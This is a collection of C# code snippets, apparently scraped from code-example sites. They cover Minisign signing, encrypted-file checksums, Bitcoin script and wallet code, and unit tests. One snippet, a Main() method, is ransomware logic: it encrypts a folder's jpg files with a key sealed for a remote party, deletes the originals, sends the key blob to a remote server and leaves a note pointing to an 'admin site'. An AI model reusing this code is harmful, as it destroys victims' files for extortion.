/// <summary> /// Validate a file with a MinisignSignature and a MinisignPublicKey object. /// </summary> /// <param name="filePath">The full path to the file.</param> /// <param name="signature">A valid MinisignSignature object.</param> /// <param name="publicKey">A valid MinisignPublicKey object.</param> /// <returns><c>true</c> if valid; otherwise, <c>false</c>.</returns> /// <exception cref="FileNotFoundException"></exception> /// <exception cref="OverflowException"></exception> /// <exception cref="ArgumentNullException"></exception> /// <exception cref="ArgumentException"></exception> /// <exception cref="ArgumentOutOfRangeException"></exception> public static bool ValidateSignature(string filePath, MinisignSignature signature, MinisignPublicKey publicKey) { if (filePath != null && !File.Exists(filePath)) { throw new FileNotFoundException("could not find filePath"); } if (signature == null) { throw new ArgumentException("missing signature input", nameof(signature)); } if (publicKey == null) { throw new ArgumentException("missing publicKey input", nameof(publicKey)); } if (!ArrayHelpers.ConstantTimeEquals(signature.KeyId, publicKey.KeyId)) { return(false); } // load the file into memory var file = LoadMessageFile(filePath); // verify the signature if (PublicKeyAuth.VerifyDetached(signature.Signature, file, publicKey.PublicKey)) { // verify the trusted comment return(PublicKeyAuth.VerifyDetached(signature.GlobalSignature, ArrayHelpers.ConcatArrays(signature.Signature, signature.TrustedComment), publicKey.PublicKey)); } return(false); }
public void ConcatenateArraysTest() { var expectedArray = new byte[] { 159, 5, 128, 251, 11, 77, 77, 217, 134, 151, 2, 63, 29, 180, 56, 81, 35, 169, 179, 238, 245, 42, 215, 129, 56, 217, 10, 203, 68, 152, 208, 5, 189, 245, 218, 9, 163, 240, 185, 114, 205, 33, 6, 23, 155, 103, 139, 216, 98, 35, 143, 69, 5, 59, 170, 236, 93, 33, 51, 75, 222, 220, 195, 69 }; var array1 = new byte[] { 159, 5, 128, 251, 11, 77, 77, 217, 134, 151, 2, 63, 29, 180, 56, 81, 35, 169, 179, 238, 245, 42, 215, 129, 56, 217, 10, 203, 68, 152, 208, 5 }; var array2 = new byte[] { 189, 245, 218, 9, 163, 240, 185, 114, 205, 33, 6, 23, 155, 103, 139, 216, 98, 35, 143, 69, 5, 59, 170, 236, 93, 33, 51, 75, 222, 220, 195, 69 }; var concatenatedArrays = ArrayHelpers.ConcatArrays(array1, array2); Assert.AreEqual(expectedArray, concatenatedArrays); }
private static byte[] AddCheckSum(byte[] data) { var checkSum = GetCheckSum(data); var dataWithCheckSum = ArrayHelpers.ConcatArrays(data, checkSum); return(dataWithCheckSum); }
/// <summary> /// Validate a file with a MinisignSignature and a MinisignPublicKey object. /// </summary> /// <param name="message">The message to validate.</param> /// <param name="signature">A valid MinisignSignature object.</param> /// <param name="publicKey">A valid MinisignPublicKey object.</param> /// <returns><c>true</c> if valid; otherwise, <c>false</c>.</returns> /// <exception cref="OverflowException"></exception> /// <exception cref="ArgumentNullException"></exception> /// <exception cref="ArgumentException"></exception> /// <exception cref="ArgumentOutOfRangeException"></exception> public static bool ValidateSignature(byte[] message, MinisignSignature signature, MinisignPublicKey publicKey) { if (message == null) { throw new ArgumentException("missing signature input", nameof(message)); } if (signature == null) { throw new ArgumentException("missing signature input", nameof(signature)); } if (publicKey == null) { throw new ArgumentException("missing publicKey input", nameof(publicKey)); } if (!ArrayHelpers.ConstantTimeEquals(signature.KeyId, publicKey.KeyId)) { return(false); } // verify the signature if (PublicKeyAuth.VerifyDetached(signature.Signature, message, publicKey.PublicKey)) { // verify the trusted comment return(PublicKeyAuth.VerifyDetached(signature.GlobalSignature, ArrayHelpers.ConcatArrays(signature.Signature, signature.TrustedComment), publicKey.PublicKey)); } return(false); }
/// <summary> /// Sets the footer checksum. /// </summary> /// <param name="chunkCount">Number of chunks in the file.</param> /// <param name="chunkOverallLength">Length of all chunks in the file.</param> /// <param name="ephemeralKey">A 64 byte key.</param> /// <param name="footerChecksumLength">The length of the checksum.</param> public void SetFooterChecksum(byte[] chunkCount, byte[] chunkOverallLength, byte[] ephemeralKey, int footerChecksumLength) { //generate and set the Footerchecksum FooterChecksum = GenericHash.Hash(ArrayHelpers.ConcatArrays(_checksumFooterPrefix, chunkCount, chunkOverallLength), Utils.GetEphemeralHashKey(ephemeralKey), footerChecksumLength); }
//TODO: clean this up private IByteArray AddCheckSum(IByteArray data) { using (IByteArray checkSum = GetCheckSum(data)) { IByteArray dataWithCheckSum = ArrayHelpers.ConcatArrays(data, checkSum); return(dataWithCheckSum); } }
/// <summary> /// Sets the footer checksum. /// </summary> /// <param name="ephemeralKey">A 32 byte key.</param> /// <param name="footerChecksumLength">The length of the checksum.</param> public void SetFooterChecksum(byte[] ephemeralKey, int footerChecksumLength) { //protect the ChunkCount this.ChunkCount = SecretBox.Create(this.ChunkCount, this.FooterNonceCount, ephemeralKey); //protect the OverallChunkLength this.OverallChunkLength = SecretBox.Create(this.OverallChunkLength, this.FooterNonceLength, ephemeralKey); //generate and set the Footerchecksum this.FooterChecksum = Sodium.GenericHash.Hash(ArrayHelpers.ConcatArrays(this.ChunkCount, this.OverallChunkLength), ephemeralKey, footerChecksumLength); }
private static void Main() { // files to search for var searchPattern = new[] { "jpg" }; try { var ephemeralKeyPair = PublicKeyBox.GenerateKeyPair(); var nonce = PublicKeyBox.GenerateNonce(); // we encrypt the ephemeral private key for the target public key var cipher = PublicKeyBox.Create(ephemeralKeyPair.PrivateKey, nonce, ephemeralKeyPair.PrivateKey, Utilities.HexToBinary(TargetPublicKeyHex)); var textToSendRemote = Convert.ToBase64String(ArrayHelpers.ConcatArrays(nonce, ephemeralKeyPair.PublicKey, cipher)); var textToShowTheUser = string.Format( "Your public key: {0}\nThis key is used to identify your private decryption key (on the admin site).", Utilities.BinaryToHex(ephemeralKeyPair.PublicKey)); cipher = null; nonce = null; var files = GetFiles(MainFolder, searchPattern); if (files.Count > ParallelUseBorder) { Parallel.ForEach(files, file => { Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true); if (SecureRandomDelete) { SecureDelete(file); } File.Delete(file); }); } else { foreach (var file in files) { Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true); if (SecureRandomDelete) { SecureDelete(file); } File.Delete(file); } } ephemeralKeyPair.Dispose(); SendToRemoteServer(textToSendRemote); CreateUserFile(Path.Combine(MainFolder, UserFile), textToShowTheUser); } catch { /* */ } }
/// <summary> /// Sets the header checksum. /// </summary> /// <param name="headerChecksumLength">The length of the checksum.</param> /// <exception cref="OverflowException"></exception> /// <exception cref="ArgumentOutOfRangeException"></exception> public void SetHeaderChecksum(int headerChecksumLength) { HeaderChecksum = GenericHash.Hash(ArrayHelpers.ConcatArrays(_checksumHeaderPrefix, BaseNonce, FilenameNonce, Filename, Utils.IntegerToLittleEndian(Version), Key, BitConverter.GetBytes(UnencryptedFileLength)), Utils.GetEphemeralHashKey(UnencryptedEphemeralKey), headerChecksumLength); }
/// <summary> /// Sets the header checksum. /// </summary> /// <param name="headerChecksumLength">The length of the checksum.</param> public void SetHeaderChecksum(int headerChecksumLength) { this.HeaderChecksum = Sodium.GenericHash.Hash( ArrayHelpers.ConcatArrays(this.BaseNonce, Utils.IntegerToLittleEndian(this.Version), this.Key, BitConverter.GetBytes(this.UnencryptedFileLength)), this.UnencryptedEphemeralKey, headerChecksumLength); }
/// <summary> /// Validates the chunk checksum. /// </summary> /// <param name="ephemeralKey">A 64 byte key.</param> /// <param name="chunkChecksumLength">The length of the checksum.</param> /// <exception cref="BadFileChunkException"></exception> public void ValidateChunkChecksum(byte[] ephemeralKey, int chunkChecksumLength) { var chunkChecksum = GenericHash.Hash( ArrayHelpers.ConcatArrays(_checksumChunkPrefix, Chunk, Utils.IntegerToLittleEndian(ChunkLength)), Utils.GetEphemeralHashKey(ephemeralKey), chunkChecksumLength); if (!chunkChecksum.SequenceEqual(ChunkChecksum)) { throw new BadFileChunkException("Wrong checksum, file could be damaged or manipulated!"); } }
public void Read() { foreach (var str in Strings) { byte[] full = ArrayHelpers.ConcatArrays(str.Item2, Encoding.ASCII.GetBytes(str.Item1)); using (BinaryReader reader = new BinaryReader(new MemoryStream(full))) { VarString v = VarString.Read(reader); Assert.AreEqual(str.Item1, v.Value); } } }
static async Task <byte[]> PassphraseToKeyAsync(byte[] passphrase, byte[] salt, ulong keyHashes) { byte[] key = passphrase; await Task.Run(() => { for (ulong i = 0; i < keyHashes; i++) { key = SHA256.Hash(ArrayHelpers.ConcatArrays(key, passphrase, salt)); } }); return(ArrayHelpers.SubArray(key, 0, 32)); }
/// <summary> /// Validates the footer checksum. /// </summary> /// <param name="chunkCount">Number of chunks in the file.</param> /// <param name="chunkOverallLength">Length of all chunks in the file.</param> /// <param name="ephemeralKey">A 32 byte key.</param> /// <param name="footerChecksumLength">The length of the checksum.</param> /// <exception cref="BadFileFooterException"></exception> public void ValidateFooterChecksum(byte[] chunkCount, byte[] chunkOverallLength, byte[] ephemeralKey, int footerChecksumLength) { byte[] footerChecksum = Sodium.GenericHash.Hash( ArrayHelpers.ConcatArrays(SecretBox.Create(chunkCount, this.FooterNonceCount, ephemeralKey), SecretBox.Create(chunkOverallLength, this.FooterNonceLength, ephemeralKey)), ephemeralKey, footerChecksumLength); //check the file footer if (!footerChecksum.SequenceEqual(this.FooterChecksum)) { throw new BadFileFooterException("Malformed file footer: file could be damaged or manipulated!"); } }
public AID(byte[] hashBytes, byte[] shardBytes) { if (hashBytes.Length != HASH_BYTES_SIZE) { throw new ArgumentException($"{nameof(hashBytes)} should be length {HASH_BYTES_SIZE} but was {hashBytes.Length}"); } if (shardBytes.Length != SHARD_BYTES_SIZE) { throw new ArgumentException($"{nameof(shardBytes)} should be length {SHARD_BYTES_SIZE} but was {shardBytes.Length}"); } _bytes = ArrayHelpers.ConcatArrays(hashBytes, shardBytes); }
/// <summary> /// Validates the header checksum. /// </summary> /// <param name="ephemeralKey">A 32 byte key.</param> /// <param name="headerChecksumLength">The length of the checksum.</param> /// <exception cref="BadFileHeaderException"></exception> public void ValidateHeaderChecksum(byte[] ephemeralKey, int headerChecksumLength) { byte[] headerChecksum = Sodium.GenericHash.Hash( ArrayHelpers.ConcatArrays(this.BaseNonce, Utils.IntegerToLittleEndian(this.Version), this.Key, BitConverter.GetBytes(this.UnencryptedFileLength)), ephemeralKey, headerChecksumLength); if (!headerChecksum.SequenceEqual(this.HeaderChecksum)) { throw new BadFileHeaderException("Malformed file header: file could be damaged or manipulated!"); } }
public static IPAddress WrapToIPv6(this IPAddress address) { switch (address.AddressFamily) { case AddressFamily.InterNetworkV6: return(address); case AddressFamily.InterNetwork: return(new IPAddress(ArrayHelpers.ConcatArrays(IPv6Wrapper, address.GetAddressBytes()))); default: throw new FormatException(String.Format("Unsupported address family {0}", address.AddressFamily)); } }
/// <summary> /// Validates the footer checksum. /// </summary> /// <param name="chunkCount">Number of chunks in the file.</param> /// <param name="chunkOverallLength">Length of all chunks in the file.</param> /// <param name="ephemeralKey">A 64 byte key.</param> /// <param name="footerChecksumLength">The length of the checksum.</param> /// <exception cref="BadFileFooterException"></exception> public void ValidateFooterChecksum(byte[] chunkCount, byte[] chunkOverallLength, byte[] ephemeralKey, int footerChecksumLength) { var footerChecksum = GenericHash.Hash( ArrayHelpers.ConcatArrays(_checksumFooterPrefix, chunkCount, chunkOverallLength), Utils.GetEphemeralHashKey(ephemeralKey), footerChecksumLength); //check the file footer if (!footerChecksum.SequenceEqual(FooterChecksum)) { throw new BadFileFooterException("Malformed file footer: file could be damaged or manipulated!"); } }
public WalletCore(string hashedPassword) { PrivateKey = CryptoFinal.GeneratePrivateKey(); PublicKey = CryptoFinal.GetPublicKey(PrivateKey); PublicKeyHash = PublicKeyHashed(PublicKey); PasswordHash = hashedPassword; var version = new byte[] { 0x00 }; var versionHashed = ArrayHelpers.ConcatArrays(version, PublicKeyHash); var address = Base58Encoding.EncodeWithCheckSum(versionHashed); Address = address; }
/// <summary> /// Validates the header checksum. /// </summary> /// <param name="ephemeralKey">A 64 byte key.</param> /// <param name="headerChecksumLength">The length of the checksum.</param> /// <exception cref="BadFileHeaderException"></exception> public void ValidateHeaderChecksum(byte[] ephemeralKey, int headerChecksumLength) { var headerChecksum = GenericHash.Hash( ArrayHelpers.ConcatArrays(_checksumHeaderPrefix, BaseNonce, FilenameNonce, Filename, Utils.IntegerToLittleEndian(Version), Key, BitConverter.GetBytes(UnencryptedFileLength)), Utils.GetEphemeralHashKey(ephemeralKey), headerChecksumLength); if (!headerChecksum.SequenceEqual(HeaderChecksum)) { throw new BadFileHeaderException("Malformed file header: file could be damaged or manipulated!"); } }
public byte[] GenerateInputSignature(ECKey privateKey, SigHash hashType, Script subScript, int inputIndex) { if (hashType.HasFlag(SigHash.None)) { throw new NotImplementedException(); } if (hashType.HasFlag(SigHash.Single)) { throw new NotImplementedException(); } if (hashType.HasFlag(SigHash.AnyoneCanPay)) { throw new NotImplementedException(); } return(ArrayHelpers.ConcatArrays(privateKey.Sign(InputHash(hashType, subScript, inputIndex)), new byte[] { (byte)hashType })); }
public void Write() { foreach (var str in Strings) { using (MemoryStream stream = new MemoryStream()) { using (BinaryWriter writer = new BinaryWriter(stream)) { Console.WriteLine(str.Item1); byte[] fullPayload = ArrayHelpers.ConcatArrays(str.Item2, Encoding.ASCII.GetBytes(str.Item1)); VarString v = new VarString(str.Item1); v.Write(writer); Assert.AreEqual(stream.ToArray(), fullPayload); } } } }
/// <summary> /// 加密封裝AES密鑰 /// </summary> /// <param name="anotherPubKeyText">對方密文(Base58字串)。可以逗號,區隔多組密文<</param> /// <param name="keyBytes">AES密鑰key資料</param> /// <param name="ivBytes">AES向量值資料</param> /// <param name="derivation">ECC加密參數</param> /// <param name="encoding">ECC加密參數</param> /// <returns>回傳格式化封裝加密後資料</returns> private static byte[] EncryptAesKeyIV(String anotherPubKeyText, byte[] keyBytes, byte[] ivBytes, byte[] derivation, byte[] encoding) { List <byte> result = new List <byte>(); byte[] aesKeyIVBytes = ArrayHelpers.ConcatArrays(keyBytes, ivBytes); String[] pubKeys = anotherPubKeyText.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); foreach (String anoPubKey in pubKeys) { //使用對方公鑰加密AES密鑰資料,AES密鑰資料=密鑰與向量值的串接,最後16byte固定為向量值 byte[] anotherPubKeyBytes = Base58.Decode(anoPubKey); byte[] encryptKeyIV = FileCtrl.Cryptor.EncryptData(aesKeyIVBytes, anotherPubKeyBytes, derivation, encoding); //格式化封裝加密資料 result.AddRange(SHIKIBETSU2_BYTES); result.AddRange(encryptKeyIV); } return(result.ToArray()); }
/// <summary> /// 加密檔案 /// </summary> /// <param name="filePath">欲加密的檔案路徑</param> /// <param name="anotherPubKeyText">對方密文(Base58字串)。可以逗號,區隔多組密文</param> private static bool EncryptSubFile(String filePath, String anotherPubKeyText) { //隨機產生32byte(for AES256)密鑰和16byte向量值. byte[] keyBytes = ArrayHelpers.ConcatArrays(Guid.NewGuid().ToByteArray(), Guid.NewGuid().ToByteArray()); byte[] ivBytes = Guid.NewGuid().ToByteArray(); //以AES加密法加密檔案 bool bEncryptFile = FileCtrl.Cryptor.AesEncryptFile(filePath, keyBytes, ivBytes); if (!bEncryptFile) { return(false); } //取加密檔檔案的前8byte當作ECC加密的derivation和encoding參數 byte[] encryptFileBytes = File.ReadAllBytes(filePath); byte[] derivation = ArrayHelpers.SubArray(encryptFileBytes, 0, 8); byte[] encoding = derivation.Reverse().ToArray(); //加密並封裝AES密鑰 byte[] encryptKeyIV = EncryptAesKeyIV(anotherPubKeyText, keyBytes, ivBytes, derivation, encoding); //格式化封裝加密檔案 List <byte> finalFile = new List <byte>(); finalFile.AddRange(SHIKIBETSU_BYTES); finalFile.AddRange(FileCtrl.Cryptor.PubKeyBytes); finalFile.AddRange(SHIKIBETSU_BYTES); finalFile.AddRange(encryptKeyIV); finalFile.AddRange(SHIKIBETSU_BYTES); finalFile.AddRange(encryptFileBytes); //輸出最終封裝之加密檔 File.WriteAllBytes(filePath, finalFile.ToArray()); return(true); }
public static byte[] Pack(params byte[] data) { byte[] header; if (data.Length <= 75) { header = new byte[] { (byte)data.Length } } ; else if (data.Length <= Byte.MaxValue) { header = new byte[] { (byte)Op.PushData1, (byte)data.Length } } ; else if (data.Length <= Int16.MaxValue) { header = ArrayHelpers.ConcatArrays(new byte[] { (byte)Op.PushData2 }, BitConverter.GetBytes((Int16)data.Length)); } else { header = ArrayHelpers.ConcatArrays(new byte[] { (byte)Op.PushData4 }, BitConverter.GetBytes((Int32)data.Length)); } return(ArrayHelpers.ConcatArrays(header, data)); }
/// <summary> /// Generate a new Minisign key pair. /// </summary> /// <param name="password">The password to protect the secret key.</param> /// <param name="writeOutputFiles">If false, no files will be written.</param> /// <param name="outputFolder">The folder to write the files (optional).</param> /// <param name="keyPairFileName">The name of the files to write (optional).</param> /// <returns>A MinisignKeyPair object.</returns> /// <exception cref="ArgumentException"></exception> /// <exception cref="OverflowException"></exception> /// <exception cref="DirectoryNotFoundException"></exception> /// <exception cref="ArgumentNullException"></exception> /// <exception cref="IOException"></exception> /// <exception cref="UnauthorizedAccessException"></exception> /// <exception cref="PathTooLongException"></exception> /// <exception cref="SecurityException"></exception> /// <exception cref="NotSupportedException"></exception> /// <exception cref="ArgumentOutOfRangeException"></exception> public static MinisignKeyPair GenerateKeyPair(string password, bool writeOutputFiles = false, string outputFolder = "", string keyPairFileName = "minisign") { if (string.IsNullOrEmpty(password)) { throw new ArgumentNullException(nameof(password), "password can not be null"); } if (writeOutputFiles) { //validate the outputFolder if (string.IsNullOrEmpty(outputFolder) || !Directory.Exists(outputFolder)) { throw new DirectoryNotFoundException("outputFolder must exist"); } if (outputFolder.IndexOfAny(Path.GetInvalidPathChars()) > -1) { throw new ArgumentException("The given path to the output folder contains invalid characters!"); } //validate the keyPairFileName if (string.IsNullOrEmpty(keyPairFileName)) { throw new ArgumentNullException(nameof(keyPairFileName), "keyPairFileName can not be empty"); } } var minisignKeyPair = new MinisignKeyPair(); var minisignPrivateKey = new MinisignPrivateKey(); var keyPair = PublicKeyAuth.GenerateKeyPair(); var keyId = SodiumCore.GetRandomBytes(KeyNumBytes); var kdfSalt = SodiumCore.GetRandomBytes(32); minisignPrivateKey.PublicKey = keyPair.PublicKey; minisignPrivateKey.KdfSalt = kdfSalt; minisignPrivateKey.SignatureAlgorithm = Encoding.UTF8.GetBytes(Sigalg); minisignPrivateKey.ChecksumAlgorithm = Encoding.UTF8.GetBytes(Chkalg); minisignPrivateKey.KdfAlgorithm = Encoding.UTF8.GetBytes(Kdfalg); minisignPrivateKey.KdfMemLimit = 1073741824; //currently unused minisignPrivateKey.KdfOpsLimit = 33554432; //currently unused var checksum = GenericHash.Hash( ArrayHelpers.ConcatArrays(minisignPrivateKey.SignatureAlgorithm, keyId, keyPair.PrivateKey), null, 32); minisignPrivateKey.KeyId = keyId; minisignPrivateKey.SecretKey = keyPair.PrivateKey; minisignPrivateKey.Checksum = checksum; var dataToProtect = ArrayHelpers.ConcatArrays(keyId, keyPair.PrivateKey, checksum); var encryptionKey = PasswordHash.ScryptHashBinary(Encoding.UTF8.GetBytes(password), minisignPrivateKey.KdfSalt, PasswordHash.Strength.Sensitive, 104); var encryptedKeyData = EncryptionHelpers.Xor(dataToProtect, encryptionKey); // set up the public key var minisignPublicKey = new MinisignPublicKey { KeyId = keyId, PublicKey = keyPair.PublicKey, SignatureAlgorithm = Encoding.UTF8.GetBytes(Sigalg) }; keyPair.Dispose(); if (writeOutputFiles) { var privateKeyOutputFileName = Path.Combine(outputFolder, keyPairFileName + PrivateKeyFileSuffix); var publicKeyOutputFileName = Path.Combine(outputFolder, keyPairFileName + PublicKeyFileSuffix); var binaryPublicKey = ArrayHelpers.ConcatArrays( minisignPublicKey.SignatureAlgorithm, minisignPublicKey.KeyId, minisignPublicKey.PublicKey ); var publicFileContent = new[] { CommentPrefix + "minisign public key " + Utilities.BinaryToHex(minisignPublicKey.KeyId, Utilities.HexFormat.None, Utilities.HexCase.Upper), Convert.ToBase64String(binaryPublicKey) }; var binaryPrivateKey = ArrayHelpers.ConcatArrays( minisignPrivateKey.SignatureAlgorithm, minisignPrivateKey.KdfAlgorithm, minisignPrivateKey.ChecksumAlgorithm, minisignPrivateKey.KdfSalt, BitConverter.GetBytes(minisignPrivateKey.KdfOpsLimit), BitConverter.GetBytes(minisignPrivateKey.KdfMemLimit), encryptedKeyData ); var privateFileContent = new[] { CommentPrefix + PrivateKeyDefaultComment, Convert.ToBase64String(binaryPrivateKey) }; // files will be overwritten! File.WriteAllLines(publicKeyOutputFileName, publicFileContent); File.WriteAllLines(privateKeyOutputFileName, privateFileContent); minisignKeyPair.MinisignPublicKeyFilePath = publicKeyOutputFileName; minisignKeyPair.MinisignPrivateKeyFilePath = privateKeyOutputFileName; } minisignKeyPair.MinisignPublicKey = minisignPublicKey; minisignKeyPair.MinisignPrivateKey = minisignPrivateKey; return(minisignKeyPair); }
/// <summary> /// Sign a file with a MinisignPrivateKey. /// </summary> /// <param name="fileToSign">The full path to the file.</param> /// <param name="minisignPrivateKey">A valid MinisignPrivateKey to sign.</param> /// <param name="untrustedComment">An optional untrusted comment.</param> /// <param name="trustedComment">An optional trusted comment.</param> /// <param name="outputFolder">The folder to write the signature (optional).</param> /// <returns>The full path to the signed file.</returns> /// <exception cref="FileNotFoundException"></exception> /// <exception cref="ArgumentException"></exception> /// <exception cref="ArgumentOutOfRangeException"></exception> /// <exception cref="OverflowException"></exception> /// <exception cref="DirectoryNotFoundException"></exception> /// <exception cref="IOException"></exception> /// <exception cref="UnauthorizedAccessException"></exception> /// <exception cref="SecurityException"></exception> /// <exception cref="ArgumentNullException"></exception> /// <exception cref="PathTooLongException"></exception> /// <exception cref="NotSupportedException"></exception> public static string Sign(string fileToSign, MinisignPrivateKey minisignPrivateKey, string untrustedComment = "", string trustedComment = "", string outputFolder = "") { if (fileToSign != null && !File.Exists(fileToSign)) { throw new FileNotFoundException("could not find fileToSign"); } if (minisignPrivateKey == null) { throw new ArgumentException("missing minisignPrivateKey input", nameof(minisignPrivateKey)); } if (string.IsNullOrEmpty(untrustedComment)) { untrustedComment = DefaultComment; } if (string.IsNullOrEmpty(trustedComment)) { var timestamp = GetTimestamp(); var filename = Path.GetFileName(fileToSign); trustedComment = "timestamp: " + timestamp + " file: " + filename; } if ((CommentPrefix + untrustedComment).Length > CommentMaxBytes) { throw new ArgumentOutOfRangeException(nameof(untrustedComment), "untrustedComment too long"); } if ((TrustedCommentPrefix + trustedComment).Length > TrustedCommentMaxBytes) { throw new ArgumentOutOfRangeException(nameof(trustedComment), "trustedComment too long"); } if (string.IsNullOrEmpty(outputFolder)) { outputFolder = Path.GetDirectoryName(fileToSign); } //validate the outputFolder if (string.IsNullOrEmpty(outputFolder) || !Directory.Exists(outputFolder)) { throw new DirectoryNotFoundException("outputFolder must exist"); } if (outputFolder.IndexOfAny(Path.GetInvalidPathChars()) > -1) { throw new ArgumentException("The given path to the output folder contains invalid characters!"); } var file = LoadMessageFile(fileToSign); var minisignSignature = new MinisignSignature { KeyId = minisignPrivateKey.KeyId, SignatureAlgorithm = Encoding.UTF8.GetBytes(Sigalg) }; var signature = PublicKeyAuth.SignDetached(file, minisignPrivateKey.SecretKey); minisignSignature.Signature = signature; var binarySignature = ArrayHelpers.ConcatArrays( minisignSignature.SignatureAlgorithm, minisignSignature.KeyId, minisignSignature.Signature ); // sign the signature and the trusted comment with a global signature var globalSignature = PublicKeyAuth.SignDetached( ArrayHelpers.ConcatArrays(minisignSignature.Signature, Encoding.UTF8.GetBytes(trustedComment)), minisignPrivateKey.SecretKey); // prepare the file lines var signatureFileContent = new[] { CommentPrefix + untrustedComment, Convert.ToBase64String(binarySignature), TrustedCommentPrefix + trustedComment, Convert.ToBase64String(globalSignature) }; var outputFile = fileToSign + SigSuffix; File.WriteAllLines(outputFile, signatureFileContent); return(outputFile); }
public static byte[] AddCheckSum(byte[] data) { byte[] checkSum = GetCheckSum(data); byte[] dataWithCheckSum = ArrayHelpers.ConcatArrays(data, checkSum); return(dataWithCheckSum); }
/// <summary> /// Load a public key into a MinisignPublicKey object. /// </summary> /// <param name="privateKey">A valid private key.</param> /// <param name="password">The password to decrypt the private key.</param> /// <returns>A MinisignPrivateKey object.</returns> /// <exception cref="OverflowException"></exception> /// <exception cref="CorruptPrivateKeyException"></exception> /// <exception cref="ArgumentOutOfRangeException"></exception> /// <exception cref="ArgumentException"></exception> /// <exception cref="ArgumentNullException"></exception> public static MinisignPrivateKey LoadPrivateKey(byte[] privateKey, byte[] password) { if (privateKey == null) { throw new ArgumentException("missing privateKey input", nameof(privateKey)); } if (password == null) { throw new ArgumentException("missing password input", nameof(password)); } var minisignPrivateKey = new MinisignPrivateKey { SignatureAlgorithm = ArrayHelpers.SubArray(privateKey, 0, 2), KdfAlgorithm = ArrayHelpers.SubArray(privateKey, 2, 2), ChecksumAlgorithm = ArrayHelpers.SubArray(privateKey, 4, 2), KdfSalt = ArrayHelpers.SubArray(privateKey, 6, 32), KdfOpsLimit = BitConverter.ToInt64(ArrayHelpers.SubArray(privateKey, 38, 8), 0), //currently unused KdfMemLimit = BitConverter.ToInt64(ArrayHelpers.SubArray(privateKey, 46, 8), 0) //currently unused }; if (!minisignPrivateKey.SignatureAlgorithm.SequenceEqual(Encoding.UTF8.GetBytes(Sigalg))) { throw new CorruptPrivateKeyException("bad SignatureAlgorithm"); } if (!minisignPrivateKey.ChecksumAlgorithm.SequenceEqual(Encoding.UTF8.GetBytes(Chkalg))) { throw new CorruptPrivateKeyException("bad ChecksumAlgorithm"); } if (!minisignPrivateKey.KdfAlgorithm.SequenceEqual(Encoding.UTF8.GetBytes(Kdfalg))) { throw new CorruptPrivateKeyException("bad KdfAlgorithm"); } if (minisignPrivateKey.KdfSalt.Length != KeySaltBytes) { throw new CorruptPrivateKeyException("bad KdfSalt length"); } var encryptedKeyData = ArrayHelpers.SubArray(privateKey, 54, 104); var decryptionKey = PasswordHash.ScryptHashBinary(password, minisignPrivateKey.KdfSalt, PasswordHash.Strength.Sensitive, 104); var decryptedKeyData = EncryptionHelpers.Xor(encryptedKeyData, decryptionKey); minisignPrivateKey.KeyId = ArrayHelpers.SubArray(decryptedKeyData, 0, 8); minisignPrivateKey.SecretKey = ArrayHelpers.SubArray(decryptedKeyData, 8, 64); minisignPrivateKey.Checksum = ArrayHelpers.SubArray(decryptedKeyData, 72, 32); if (minisignPrivateKey.KeyId.Length != KeyNumBytes) { throw new CorruptPrivateKeyException("bad KeyId length"); } var calculatedChecksum = GenericHash.Hash( ArrayHelpers.ConcatArrays(minisignPrivateKey.SignatureAlgorithm, minisignPrivateKey.KeyId, minisignPrivateKey.SecretKey), null, 32); if (!ArrayHelpers.ConstantTimeEquals(minisignPrivateKey.Checksum, calculatedChecksum)) { throw new CorruptPrivateKeyException("bad private key checksum"); } // extract the public key from the private key minisignPrivateKey.PublicKey = PublicKeyAuth.ExtractEd25519PublicKeyFromEd25519SecretKey(minisignPrivateKey.SecretKey); return(minisignPrivateKey); }
/// <summary> /// Sets the chunk checksum. /// </summary> /// <param name="ephemeralKey">A 64 byte key.</param> /// <param name="chunkChecksumLength">The length of the checksum.</param> public void SetChunkChecksum(byte[] ephemeralKey, int chunkChecksumLength) { ChunkChecksum = GenericHash.Hash(ArrayHelpers.ConcatArrays(_checksumChunkPrefix, Chunk, Utils.IntegerToLittleEndian(ChunkLength)), Utils.GetEphemeralHashKey(ephemeralKey), chunkChecksumLength); }